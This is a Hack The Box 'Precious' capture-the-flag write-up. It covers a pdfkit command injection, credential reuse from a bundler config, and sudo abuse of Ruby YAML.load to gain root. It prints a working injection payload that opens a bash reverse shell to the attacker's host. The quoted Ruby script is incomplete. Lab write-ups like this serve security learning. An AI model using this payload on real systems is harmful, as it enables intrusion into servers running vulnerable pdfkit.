Hack The Box - Precious [Easy]

We begin with a simple web page that has an input, apparently this input turns a webpage to a PDF, I tried with hosting a page on my machine and tried to use it for the input.

Then the website provided me with a PDF of the website that I’ve hosted, I’ve downloaded the PDF and used the exiftool to figure out what was generating this PDF file, from there I saw that it was generated by pdfkit v0.8.6.

I went to google to check if there are any exploits and I found this:

  • https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

This apparently gives me a command injection exploit, and I tried the following payload:

http://myip:8080/?name=#{'%20`bash -c "bash -i >& /dev/tcp/myip/myport 0>&1"`'}

Flag 1

This gave me a reverse shell for the user ruby, from this point I’ve run linpeas.sh to check how can I gain access to the user henry and I saw the file /home/ruby/.bundle/config and I went to check it.

$ cat /home/ruby/.bundle/config
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:<passwod>"

I gained access to the user with an ssh login to the hnery user and gained the user.txt flag located in the home directory.

Flag 2

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

This gives the clue of how to get the next flag, let’s look what this file contains:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()

def list_from_file

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
                puts "Installed version is equals to the one specified in file: " + local_name

We have YAML.load(File.read("dependencies.yml")) which hints that we need to use the dependancies.yml file to gain root.

Using google again to see how can we do that, this took me some time, but figuring out the attack surface is what is this all about. The attack surface is being the YAML loader, so I’ve tried to look for exploits there, and I found this:

  • https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

I executed the /usr/bin/ruby /opt/update_dependencies.rb command with sudo and then using the bash -p I gained the root access.